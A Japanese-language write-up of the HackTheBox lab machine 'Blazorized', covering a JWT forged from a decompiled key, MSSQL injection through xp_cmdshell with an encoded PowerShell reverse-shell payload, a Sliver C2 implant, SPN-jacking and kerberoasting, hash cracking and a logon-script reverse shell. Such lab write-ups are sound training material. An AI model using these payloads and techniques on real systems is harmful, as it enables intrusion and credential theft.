HackTheBox Blazorized Writeup

# Blazorized Writeup

HackTheBoxのBlazorizedの Writeupです。

難易度 : medium
OS : Windows

![Blazorized.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/59a69582-7046-c751-6ab0-0cbd173098ea.png)

# Enumeration

## Nmap

```bash
kali@Kali [14時24分22秒] [~/HTB/Blazorized] 
-> % sudo nmap --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- 10.10.11.22
[sudo] kali のパスワード:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 14:24 JST
Nmap scan report for blazorized.htb (10.10.11.22)
Host is up, received user-set (0.21s latency).
Not shown: 65507 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mozhar's Digital Garden
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-11-05 05:23:25Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info: 
|   10.10.11.22\BLAZORIZED: 
|     Instance name: BLAZORIZED
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
|_ssl-date: 2024-11-05T05:26:51+00:00; -12m42s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.22\BLAZORIZED: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-04T12:36:24
|_Not valid after:  2054-11-04T12:36:24
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49767/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49776/tcp open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-ntlm-info: 
|   10.10.11.22:49776: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.22:49776: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 49776
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-04T12:36:24
|_Not valid after:  2054-11-04T12:36:24
|_ssl-date: 2024-11-05T05:26:51+00:00; -12m42s from scanner time.
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/5%OT=53%CT=1%CU=30785%PV=Y%DS=2%DC=T%G=Y%TM=6729
OS:AF9A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=I%TS=U)SEQ(S
OS:P=104%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=104%GCD=1%ISR=108%TI
OS:=I%CI=RD%II=I%SS=S%TS=U)SEQ(SP=104%GCD=1%ISR=108%TI=RD%CI=I%II=I%TS=U)OP
OS:S(O1=M53ANW8NNS%O2=M53ANW8NNS%O3=M53ANW8%O4=M53ANW8NNS%O5=M53ANW8NNS%O6=
OS:M53ANNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y
OS:%T=80%W=FFFF%O=M53ANW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A
OS:=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -12m41s, deviation: 0s, median: -12m42s
| smb2-time: 
|   date: 2024-11-05T05:26:46
|_  start_date: N/A

TRACEROUTE (using port 1025/tcp)
HOP RTT       ADDRESS
1   222.55 ms 10.10.16.1
2   87.13 ms  blazorized.htb (10.10.11.22)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 907.27 seconds
```

53, 88, 135, 139, 445が開いていることからこのマシンはActive Direcotryのドメインコントローラーであることが分かります。

`blazorized.htb` `dc1.blazorized.htb`というドメインを見つけたのでhostsファイルに追加します。

```
10.10.11.22	blazorized.htb dc1.blazorized.htb
```
## Blazor

80番ポートが開いているのでサイトにアクセスしてみるとBlazorizedというウェブサイトが表示されました。

![024-07-01-190954.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/789e3adc-9d60-b70a-6fef-0df090941221.png)

Blazorizedというのは、「アイデアや知識をオンラインで整理・共有するためのデジタルガーデン」だそうです。

[Blazor WebAssembly](https://learn.microsoft.com/ja-jp/aspnet/core/blazor/?view=aspnetcore-8.0)で作られているようです。
BlazorとはMicrosoftが開発した C# を使ってWebアプリケーションを開発することができるオープンソースのWebフレームワークです。

とりあえずすることといえばディレクトリ探索です。

```bash
kali@Kali [14時48分25秒] [~/HTB/Blazorized]
-> % dirsearch -u http://blazorized.htb/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/HTB/Blazorized/reports/http_blazorized.htb/__24-11-08_23-44-07.txt

Target: http://blazorized.htb/

[23:44:07] Starting: 
[23:44:10] 403 -  312B  - /%2e%2e//google.com
[23:44:10] 403 -  312B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[23:44:17] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[23:44:32] 403 -  312B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Task Completed
```
とくになにもありません。

次にサブドメインがないか調べてます。

```bash
kali@Kali [14時49分25秒] [~/HTB/Blazorized] 
-> % ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://blurry.htb/ -H 'Host: FUZZ.blurry.htb' -fs 169

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://blurry.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.blurry.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 169
________________________________________________

admin                   [Status: 200, Size: 2027, Words: 149, Lines: 28, Duration: 99ms]
:: Progress: [114441/114441] :: Job [1/1] :: 404 req/sec :: Duration: [0:04:51] :: Errors: 0 ::
```

`admin`が見つかったのでhostsファイルに追加してアクセスします。

![2024-07-01-191944.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/bc65a3f9-f111-e861-c376-e62bdf13f717.png)

ログインページが出てきましたが認諸情報がないのでログインすることができません。

burp suiteを見てみると http://blazorized.htb でdllが読み込まれていることが分かりました。

![image-20240715173207353.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d18d3aeb-cea5-abc2-2d08-8f36a4026598.png)

Blazor WebAssembly について調べていると `blazor.boot.json` という Blazorアプリケーションの起動に関する情報を含むjsonファイルがあることが分かりました。

このファイルには、Blazor アプリケーションがブラウザ上で正しく動作するために必要なリソースや設定情報が含まれているそうです。
[ASP.NET Core Blazor WebAssembly .NET ランタイムとアプリ バンドルのキャッシュ](https://learn.microsoft.com/ja-jp/aspnet/core/blazor/host-and-deploy/webassembly-caching/?view=aspnetcore-8.0)

![image-20241108222707907.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c4b9f5a4-2761-a32a-42f4-7d322c3edee3.png)

Burpに検出されているか探していると `/_framework` 配下に見つけました。
## JWT 認証

http://blazorized.htb/_framework/blazor.boot.json にアクセスしてみるとdllが大量に見つかりました。

![image-20240715173459964.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/299d078c-661f-9b4b-b483-1ca067dab8fb.png)

たくさんありますが気になったのは

`Blazored.LocalStorage.dll`, `Blazorized.DigitalGarden.dll`, `Blazorized.Shared.dll`, `Blazorized.Helpers.dll` というdllがマシンの名前が入っているのでなんか怪しそうでした。

この４つのdllを[dotPeek](https://www.jetbrains.com/ja-jp/decompiler/)という最強の.NETデコンパラでデコンパイルしてみました。

すると、`Blazorized.Helpers.dll` に JWTというクラスを見つけました。

![image-20240715173837066.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8013e1c5-4dd0-4ec2-46af-3b87c3bd7b1c.png)

JWT(json web token)を作成するクラスらしく、tokenを作成するための以下の情報を発見しました。

![image-20240715174129390.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/f2d0b5ab-efcb-5bd4-2f9f-74396c3176ac.png)

以下の情報からJWTを作成します。

```c#
private const long EXPIRATION_DURATION_IN_SECONDS = 60;
private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "http://api.blazorized.htb";
private static readonly string apiAudience = "http://api.blazorized.htb";
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
```

この情報を使ってtokenを作成してJWT認証でadminページにアクセスできるかもしれません

https://jwt.io/ でJWTを作成できます。

![image-20241105155136862.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/72343b17-007b-4a88-cd44-c8362830b889.png)

HEADER

```json
{
  "alg": "HS512",
  "typ": "JWT"
}
```

PAYLOAD

```json
{
  "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "superadmin@blazorized.htb",
  "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Super_Admin",
  "iss": "http://api.blazorized.htb",
  "aud": "http://admin.blazorized.htb",
  "iat": 1730000000,
  "exp": 1730000000
}
```

SecurityKey

```
8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a
```

作成したjwtを開発者モードを開いてローカルストレージにロード

![image-20240715181048138.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c1cb38f3-9ed6-3e3b-1d5a-3e9079727fff.png)

ページをリロードすると管理者ページにアクセスできました

![image-20241105184028640.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/7c1c5785-29b5-6622-c301-03e9ef921ed2.png)

# MSSQL Injection
![image-20240715181225112.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ed82ca2d-3ff7-7467-3d62-616d9d0430df.png)

写真の通りこのページはAPIを使用せずに直接データベースを操作することができるみたいです。SQL Injectionが使えそうです。

nmapのスキャン結果からMSSQLが動いていることが分かっているのでおそらく使用しているデータベースはMSSQLだと思われます。

`http://admin.blazorized.htb/check-duplicate-category-name` にカテゴリー名が重複しているか検索できる機能がありました。ここでデータベースに問い合わせをしているっぽいです。

![image-20240715181632673.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a3f4be5c-48f9-9b82-a31a-45f0ea39a34f.png)

試しに条件が常に真となるように文を追加します。

![image-20240715182228495.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/094ad289-c1fc-2a20-ca26-dec6848e1b60.png)

SQL Injection が機能することが分かりました。

MSSQL にはコマンドを実行できる `xp_cmdshell` という機能があるのでこれでリバースシェルをとりにいきます。

[HackTricks 1433 - Pentesting MSSQL - Microsoft SQL Server Execute OS Commands](https://book.hacktricks.xyz/v/jp/network-services-pentesting/pentesting-mssql-microsoft-sql-server)

HackTricksにあった以下のペイロードでためします。

```mssql
test' EXEC master..xp_cmdshell 'ping 10.10.16.16';-- -
```

![image-20241105155947808.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/97c74b3d-c37f-bfba-dbf6-aa7b35d0b655.png)

ping コマンドの実行に成功したので、リバースシェルを取ることができます。

[Online - Reverse Shell Generator](https://www.revshells.com/) を使ってペイロードを作成ました。

```
tset' EXEC master..xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=';-- -
```

リスナーを起動してペイロードを送信します。

![image-20241105160603182.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/fd2e6e94-5ff7-9ca8-c6ec-a86606f49586.png)

`nu_1055` としてシェルを取得できた
![image-20241105160657001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/f4349899-40a9-a209-17a6-c6650f0e843b.png)

user.txt を取得しました。

![image-20240715185022159.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a6d115c5-0de1-d171-39f9-6c2c49f0af8e.png)

# 水平展開

## Sliver C2

`C:\Users` にて複数のユーザーが存在していることが分かった。 `RSA_4810`, `SSA_6010` に横移動する必要がありそうです。

![image-20240715191310404.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/bf7889cb-be9a-7466-ffa4-54d0a4fffd77.png)

これから水平展開などをしやすくするためC2セッションを確立し、いろいろと融通が利くようにします。

C2 FrameWorkにはとてもいろいろな種類がありますがわたしはその中でも [Sliver C2](https://github.com/BishopFox/sliver.git) や [Havoc](https://github.com/HavocFramework/Havoc.git)がお気に入りなので今回は一番よく使っているSliver C2を使用します。

sliverを起動します

![image-20240806152325054.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/fb60f8d4-7ff3-38b8-4fdb-5c54841b68d5.png)

インプラントを作成します。

![image-20241105161635247.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/123d4f46-33d2-c744-94b9-508a33162757.png)

作成したインプラントをダウンロード

![image-20241105161719520.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/dcac1f1b-0547-85f0-bae0-4efd9dbf9ede.png)

Sliverでリスナーを起動する

![image-20240806152907302.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/045d640d-27df-fb77-5d5e-d1b95cac369f.png)

インプラントを実行することでC2 セッションが確立されます。

![image-20241105161918829.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c55fcfc1-80e1-66e0-c351-bf9f8b196c28.png)

## Sliver C2 - BloodHound

つづいてBloodhoundで列挙していきます。

Bloodhoundで列挙を行うには `SharpHound` をアップロードして実行する必要がありますが、SliverにはArmoryという拡張機能パッケージ マネージャーがあり、実行ファイルをアップロードせずに、Active Directoryの攻略によく使う Rubeus, certify, seatbelt などを使用できます。

以下のコマンドで実行できます。

```
sharp-hound-4 -- -c All
```

古いバージョンのほうも使えます。

```
sharp-hound-3 -- -c All
```

![image-20241105163003697.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/4668652c-55d8-fe92-f6c9-3b4101479125.png)

zipファイルが作成されました。

作成されたzipファイルをダウンロード

![image-20241105163439556.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8b3bd458-4fe5-e0b8-d0aa-f752166b37dd.png)

BloodHoundを起動してアップロード

![image-20241105163650117.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/bc02e141-8509-fe1c-8a84-cb31077ce2fe.png)

アップロードが完了すると現在のユーザー `NU_1055` が持っている権限を見てみます。

![image-20240715191808409.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/4152ceda-1afb-15e3-c6ef-21baf72bf491.png)

 `NU_1055` が ユーザー `RSA_4810` に対して `WriteSPN` の権限を持っていることが分かりました。

## SPN-jacking

侵害しているターゲット SPN に関連付けられたアカウントと別のコンピューター/サービス アカウントに対する `WriteSPN` 権限を持っている場合、SPN を一時的にハイジャックし (`SPN-Jacking`)、それを別のコンピューター/サーバーに割り当て、完全な S4U 攻撃を実行して侵害することができます。

攻撃を行うためにPowerView.ps1 をアップロードして読みこませておきます。

![image-20241105164159517.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/0d03378d-0873-9602-c613-a27195a419ab.png)

```powershell
. .\PowerView.ps1
```

新しいSPNをRSA_4810に追加

```powershell
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='spn/spn-jacking'}
Get-SPNTicket -SPN spn/spn-jacking
```

SliverでRubeusを使用してkerberosting攻撃を実行

```
rubeus kerberoast 
```

`RSA_4810` のチケットを取得できました。

![image-20241105164802135.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/09da3d13-45fd-0e4d-296a-07f469ea193f.png)

チケットをファイルに保存することもできます。

![image-20241105164922231.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/e94366c3-1677-1c18-08e2-53ad9d6dde48.png)

![image-20241105165019697.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ac1466cb-b2e3-22bb-7427-209009233425.png)

PowerViewの `Get-DomainSPNTicket` を使用して取得することもできます。

```powershell
$ticket = Get-DomainSPNTicket -SPN spn/spn-jacking
$ticket.Hash # ハッシュのみ
$ticket | Format-List -Property SamAccountName, DistinguishedName, ServicePrincipalName, Hash # すべて出力
```

```powershell
Get-DomainSPNTicket -SPN spn/spn-jacking | Select-Object -ExpandProperty Hash
```

![image-20240715202428692.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/05cee72b-378e-0c6f-5599-f10b4e2020a9.png)

チケットをファイルに保存してhashcatで解析します。

```bash
hashcat -m 13100 hashs.kerberoast /usr/share/wordlists/rockyou.txt
```

![image-20240715203017208.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8e410833-3e54-decd-ec03-dd0d53192cdd.png)

解析に成功し、RSA_4810のパスワードを取得しました。

```
(Ni7856Do9854Ki05Ng0005 #)
```

取得したパスワードを使用して `evil-winrm` でログインする
![image-20240715203549271.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ac6c6053-ecf7-17a8-61b1-b1bce8ea63c7.png)

RSA_4810に横移動することができました。

# DACL - Script-Path

RSA_4810に横移動することができたのでもう一つのユーザー `SSA_6010` を次の目標にします。BloodHoundでRSA_4810について調べてみましたがとくに使えそうな権限は持っていませんでした。

PowerViewを使って手動でRSA_4810が持っているACLを検索します。

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{ $_.IdentityReferenceName -match "RSA_4810"}
```

![image-20241105171418919.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a0ab1b81-68eb-9a8b-5f0c-17c2e87f5c9f.png)

RSA_4810はSSA_6010のスクリプトパスを変更できるみたいです。
`Get-NetUser` で `SSA_6010` について調べます。

```powershell
Get-NetUser -Identity SSA_6010
```
![image-20240806144637716.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/45c3510a-12a3-b77a-a92c-c5143fdcef4f.png)

`3073`回もログオンしています。怪しすぎます。
![image-20240806144822286.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/ab9f35f9-6a1b-4c19-4a75-1334eba50072.png)

もしかしてと思い、もう一度実行するとログオン回数が増えていました。どうやらSSA_6010は定期的にログオンしているみたいです。

## Logon Script

`RSA_4810` は `SSA_6010` のスクリプトをパスを変更できるのでユーザーのログオン時に実行されるリバースシェル返すカスタムバッチスクリプトを作成することでシェルを獲得することができると思われます。

`C:\Windows\SYSVOL\sysvol\blazorized.htb\script\` に移動して `RSA_4810` アクセス権限を調べます。

![image-20241105172415643.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a7abc32b-af5f-cea0-9104-f51773bd3ff2.png)

`A32FF3AEAA23` のフルアクセス権を持っていました。ここにリバースシェルスクリプトを追加します。

![image-20241108225710839.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a8026f07-725f-7b05-2da4-2e16e8979c6f.png)

`A32FF3AEAA23` にアップロードします。

![image-20241108225825095.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/72930ffb-5c09-8b28-954c-24273824ad18.png)

作成したスクリプトをSSA_6010のスクリプトパスに追加する

```powershell
Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\revshell.bat"
```
リスナーを起動してしばらく待つと `SSA_6010` のシェルを取得できました。
